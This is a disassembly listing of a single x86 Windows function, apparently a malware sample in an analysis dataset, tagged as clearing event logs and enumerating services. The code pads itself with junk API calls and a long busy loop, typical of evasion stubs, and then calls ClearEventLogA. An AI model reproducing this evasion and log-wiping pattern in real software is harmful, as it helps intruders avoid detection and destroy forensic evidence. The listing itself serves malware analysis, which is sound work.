Function at 0x401a7f
Capabilities:
Access the windows event log
Clear windows event logs
Enumerate services

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa84
mov eax, dword [0x42c14c]
xor eax, esp
mov dword [esp + 0xa80], eax
push ebx
push esi
push edi
push 0x4e6b20
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
cmp eax, 0x3d080
jne 0x401bc6
mov ebx, 0x443b88
push ebx
call fcn.00403050
pop ecx
cmp eax, 0xe7303
jne 0x401bc6
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x764ca
jne 0x401bc6
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorGroup]
lea eax, [esp + 0x30]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
push esi
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push esi
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [0x50bce4], 0x1064
jne 0x401b87
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push esi
push esi
push esi
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
xor eax, eax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosw word es:[edi], ax
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov dword [0x443b84], esi
push 0x61
push 0x429fe8
push str._s__c
push ebx
call fcn.00402921
fld qword [0x42a0d0]
add esp, 0x10
push 0x4e
push ecx
push ecx
fstp qword [esp]
push str.Lojerix
push str._s__f__c
call fcn.00403510
add esp, 0x14
push str.gokuf_kelacuhefu__s__d__f
call fcn.00403158
pop ecx
xor edi, edi
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
cmp dword [0x50bce4], 0x1257
jne 0x401c05
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea eax, [esp + 0x20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push esi
lea eax, [esp + 0x28c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x18]
push eax
push 0x6d4f6123
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea eax, [esp + 0x5c]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMonitorInfoA]
cmp dword [0x50bce4], 0x126f
jne 0x401c7f
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
push esi
lea eax, [esp + 0x94]
push eax
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
push esi
lea eax, [esp + 0x28c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
lea eax, [esp + 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp edi, 0x3b96d5
jle 0x401ca5
cmp dword [esp + 0x40], 0x77978ce9
je 0x401ca5
cmp dword [esp + 0xc], 0x5831f051
je 0x401ca5
cmp dword [esp + 0x70], 0x4b4ead12
jne 0x401cb2
inc edi
cmp edi, 0x1cfb717b
jl 0x401bc8
cmp dword [0x50bce4], 0x134e
jne 0x401cd2
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
call fcn.00401603
cmp dword [0x50bce4], 0x1043
jne 0x401ceb
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
mov ecx, dword [esp + 0xa8c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004025a2
mov esp, ebp
pop ebp
ret 0x10